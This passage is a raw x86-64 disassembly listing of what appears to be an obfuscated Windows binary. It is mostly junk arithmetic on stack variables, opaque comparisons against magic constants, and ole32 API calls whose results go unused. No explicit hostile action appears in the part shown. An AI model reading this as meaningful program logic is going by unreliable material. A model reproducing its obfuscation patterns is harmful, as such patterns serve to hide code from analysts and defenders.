cmp qword [rsp + 0x6a88], 0
je 0x14000ab07
jmp 0x14000abb6
mov rax, qword [rsp + 0x6a18]
mov qword [rsp + 0x6a90], rax
movabs rax, 0xb528011c3e25a852
cmp qword [rsp + 0x6a90], rax
je 0x14000ab30
jmp 0x14000abb4
mov rax, qword [rsp + 0x6a80]
mov ecx, dword [rsp + 0x38c0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x38cc], eax
movzx eax, byte [rsp + 0x16f]
mov byte [rsp + 0x3948], al
cmp byte [rsp + 0x3948], 0x10
je 0x14000ab65
jmp 0x14000ab93
call qword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [rsp + 0x394c], eax
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
jmp 0x14000abb4
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a18], rax
jmp 0x14000abf3
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x6a30]
movzx r9d, byte [rax]
movzx r8d, word [rsp + 0xf4c]
movzx edx, word [rsp + 0xf48]
mov rax, qword [rsp + 0x6960]
movzx ecx, word [rax]
call fcn.1401c2430
nop
lea rax, [rsp + 0x6978]
mov qword [rsp + 0x6a98], rax
cmp dword [rsp + 0x38fc], 0xe721
je 0x14000b191
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
sub eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov eax, dword [0x1401dd008]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6978]
add rcx, rax
mov rax, rcx
mov qword [0x1401de360], rax
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6a18]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a10]
mov rcx, qword [rsp + 0x6a80]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
xor eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov eax, dword [rsp + 0x38fc]
add eax, 0x51
mov dword [rsp + 0x38fc], eax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x69e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf4c], ax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x6950]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov eax, dword [0x1401dd008]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov dword [0x1401dd004], eax
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf44], ax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
add eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
movsx eax, word [rsp + 0xf48]
mov rcx, qword [rsp + 0x6918]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x6920]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a98]
mov qword [rsp + 0x6aa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6a98]
mov qword [rcx], rax
movzx eax, byte [str.sK:]
movzx ecx, byte [rsp + 0x129]
or eax, ecx
mov rcx, qword [0x1401de350]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a08]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x171]
sub eax, ecx
mov byte [rsp + 0x170], al
movzx eax, byte [rsp + 0x129]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x69e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x38cc], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x68b0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
mov eax, dword [0x1401dd008]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov dword [0x1401dd004], eax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [0x1401de360]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [str.sK:]
shl eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
xor eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6918]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
sar eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x171]
and eax, ecx
mov byte [rsp + 0x16f], al
movzx eax, byte [str.sK:]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [0x1401de360]
mov rcx, qword [rsp + 0x6978]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
jmp 0x14000ac03
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sub eax, ecx
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x69e0]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jl 0x1401c1753
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
shl eax, cl
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x170]
or eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
xor eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x69f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xdf]
sar eax, cl
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x69b8]
mov ecx, dword [rsp + 0x38cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3944]
add eax, 0xbc
mov dword [rsp + 0x3944], eax
mov rax, qword [0x1401de360]
mov rcx, qword [rsp + 0x6978]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov eax, dword [0x1401dd008]
mov ecx, dword [rsp + 0x3878]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68b0], rax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6890]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf44], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16f], al
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6978]
add rcx, rax
mov rax, rcx
mov qword [0x1401de360], rax
mov eax, dword [0x1401dd004]
movzx ecx, al
mov eax, dword [rsp + 0x3878]
shr eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6920]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf44], ax
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf48]
shl eax, cl
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [str.sK:]
and eax, ecx
mov byte [rsp + 0x129], al
movsx eax, word [rsp + 0xf4c]
mov rcx, qword [rsp + 0x6960]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf48], ax
movsx eax, byte [rsp + 0x170]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6a98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6a08]
mov ecx, dword [rsp + 0x3878]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401dd008], eax
mov rax, qword [rsp + 0x6950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6920]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6940]
mov qword [rcx], rax
mov eax, dword [rsp + 0x38c0]
mov ecx, dword [rsp + 0x38cc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a80]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x69e8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6960]
mov word [rcx], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6988]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x171]
xor eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
sar eax, cl
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401de360]
shl rax, cl
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1401de368]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x171]
mov rcx, qword [rsp + 0x6968]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x170], al
movsx eax, word [rsp + 0xf48]
movsx ecx, word [rsp + 0xf40]
and eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x129], al
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov eax, dword [0x1401dd008]
mov ecx, dword [0x1401dd004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
mov rax, qword [rsp + 0x68b0]
mov rcx, qword [rsp + 0x6a18]
add rcx, rax
mov rax, rcx
mov qword [0x1401de358], rax
cmp dword [rsp + 0x3944], 0x12548
jb 0x14000b1e6
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x69e0]
movzx edx, word [rdx]
xor ecx, edx
cmp eax, ecx
jl 0x1401c15fa
movzx eax, byte [rsp + 0xdf]
mov byte [rsp + 0x3950], al
cmp byte [rsp + 0x3950], 0
je 0x14000b72d
jmp 0x1401c153c
mov rax, qword [rsp + 0x69a8]
mov rax, qword [rax]
mov qword [rsp + 0x6aa8], rax
mov rax, qword [rsp + 0x69f0]
mov eax, dword [rax]
mov dword [rsp + 0x3954], eax
mov rax, qword [rsp + 0x6968]
movzx eax, byte [rax]
mov byte [rsp + 0x3958], al
cmp byte [rsp + 0x3958], 0
je 0x14000b780
cmp byte [rsp + 0x3958], 0x36
je 0x14000b846
jmp 0x14000b94a
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
lea rax, [rsp + 0xf48]
mov qword [rsp + 0x6ab0], rax
movsx eax, byte [rsp + 0x170]
movsx ecx, byte [rsp + 0x16f]
or eax, ecx
mov byte [rsp + 0x171], al
movsx eax, word [rsp + 0xf40]
movsx ecx, word [rsp + 0xf4c]
sar eax, cl
mov rcx, qword [rsp + 0x6918]
mov word [rcx], ax
lea rax, str.sK:
mov qword [rsp + 0x6ab8], rax
mov dword [rsp + 0x395c], 0xbacb
mov rax, qword [rsp + 0x6920]
mov rcx, qword [rsp + 0x6a18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6aa8], rax
lea rax, [rsp + 0x38c0]
mov qword [rsp + 0x6ac0], rax
lea rax, [rsp + 0x6978]
mov qword [rsp + 0x6ac8], rax
jmp 0x14000b94a
mov rax, qword [0x1401de368]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6a98]
mov rdx, qword [0x1401de360]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jne 0x14000b8e8
lea rcx, [rsp + 0x2bb50]
call qword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [rsp + 0x3960], eax
lea r8, [rsp + 0x68a0]
mov edx, 0xd5
lea rcx, [rsp + 0x2bb50]
call qword [sym.imp.ole32.dll_OleRegGetMiscStatus]
mov dword [rsp + 0x3900], eax
mov rax, qword [rsp + 0x68a8]
mov eax, dword [rax]
mov ecx, dword [0x1401dd008]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3878], eax
movzx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0x6898]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
jmp 0x14000b92e
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6920]
mov rdx, qword [rsp + 0x6a18]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14000b92e
movzx edx, word [rsp + 0xf48]
movzx ecx, byte [rsp + 0xdf]
call fcn.1401c3b50
nop
movsx eax, byte [rsp + 0x16f]
movsx ecx, byte [rsp + 0x170]
and eax, ecx
mov rcx, qword [rsp + 0x6988]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a48]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
add eax, ecx
mov rcx, qword [rsp + 0x6910]
mov word [rcx], ax
mov eax, dword [0x1401dd004]
mov ecx, dword [rsp + 0x3878]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x68b8]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14000ba4a
mov rax, qword [rsp + 0x6ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
mov dword [rsp + 0x3964], ecx
movzx edx, byte [rsp + 0x172]
movzx ecx, dl
mov edx, dword [rsp + 0x3964]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14000b9f9
mov rax, qword [rsp + 0x6ab0]
movzx edx, word [rax]
movzx ecx, byte [str.sK:]
call fcn.1401c3b50
nop
jmp 0x14000ba4a
movzx eax, word [rsp + 0xf44]
mov rcx, qword [rsp + 0x69c0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a00]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x69e0]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jg 0x14000ba4a
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov byte [rsp + 0x3968], al
cmp byte [rsp + 0x3968], 0
je 0x14000ba6b
jmp 0x14000bb71
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69f8]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x129]
movzx edx, byte [rsp + 0xdf]
sub ecx, edx
cmp eax, ecx
jle 0x14000babd
mov rax, qword [rsp + 0x6ab8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov rcx, qword [rsp + 0x69f8]
mov byte [rcx], al
jmp 0x14000bb6f
mov rax, qword [rsp + 0x6a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x38cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x6940]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x60c0], rax
mov rax, qword [rsp + 0x68e0]
mov rax, qword [rax]
mov qword [rsp + 0x6ad0], rax
movabs rax, 0x88da6baed71a932c
cmp qword [rsp + 0x6ad0], rax
je 0x14000bb37
movabs rax, 0xfc2871167e0456f7
cmp qword [rsp + 0x6ad0], rax
je 0x14000bb52
jmp 0x14000bb6f
movzx edx, word [rsp + 0xf40]
mov rax, qword [rsp + 0x6a40]
movzx ecx, byte [rax]
call fcn.1401c3b50
nop
jmp 0x14000bb6f
lea rdx, [rsp + 0x6988]
lea rcx, [rsp + 0x2bb60]
call qword [sym.imp.ole32.dll_CoGetCallContext]
mov dword [rsp + 0x3900], eax
jmp 0x14000bbe5
mov rax, qword [rsp + 0x6a98]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6970]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x68a0]
mov qword [rsp + 0x6ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6ad8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x68a0]
mov dword [rcx], eax
mov r8d, dword [rsp + 0x3878]
movzx edx, byte [rsp + 0x129]
mov rax, qword [rsp + 0x6968]
movzx ecx, byte [rax]
call fcn.1401c33b0
nop
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x6968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x16f]
sub ecx, edx
cmp eax, ecx
jge 0x14000bc55
lea rdx, [rsp + 0x38c0]
lea rcx, [rsp + 0x2bb30]
call qword [sym.imp.ole32.dll_StringFromIID]
mov dword [rsp + 0x396c], eax
mov eax, dword [rsp + 0x3878]
mov dword [rsp + 0x3970], eax
cmp dword [rsp + 0x3970], 0
je 0x14000bc72
jmp 0x1401c1424
mov rax, qword [0x1401de358]
mov rcx, qword [rsp + 0x68b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6950]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x69d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x68b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ac8]
mov rcx, qword [0x1401de360]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x6910]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf40]
or eax, ecx
mov word [rsp + 0xf48], ax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0x16f]
sar eax, cl
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
mov rax, qword [rsp + 0x6a30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16f]
xor eax, ecx
mov rcx, qword [rsp + 0x6a30]
mov byte [rcx], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf4c], ax
mov eax, dword [rsp + 0x395c]
sub eax, 0xf4
mov dword [rsp + 0x395c], eax
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x172]
and eax, ecx
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0xdf]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov byte [str.sK:], al
mov rax, qword [0x1401de368]
mov rax, qword [rax]
mov rcx, qword [0x1401de360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6978], rax
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x68b0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x68b8]
mov ecx, dword [0x1401dd004]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3878], eax
movsx eax, byte [rsp + 0x16f]
mov rcx, qword [rsp + 0x6988]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6968]
mov byte [rcx], al
mov rax, qword [rsp + 0x69c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf44], ax
mov rax, qword [rsp + 0x6ab8]
movzx eax, byte [rax]
mov rcx, qword [0x1401de350]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6898]
mov byte [rcx], al
mov rax, qword [rsp + 0x6890]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6910]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf40], ax
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf44]
sar eax, cl
mov rcx, qword [rsp + 0x6a00]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ac8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6978]
shl rax, cl
mov qword [0x1401de360], rax
mov rax, qword [rsp + 0x68b8]
mov rcx, qword [rsp + 0x68a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6970]
mov dword [rcx], eax
mov eax, dword [rsp + 0x38cc]
mov ecx, dword [rsp + 0x3954]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x38c0], eax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x6978]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6a98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6950]
mov rcx, qword [rsp + 0x6940]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x68e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x172]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
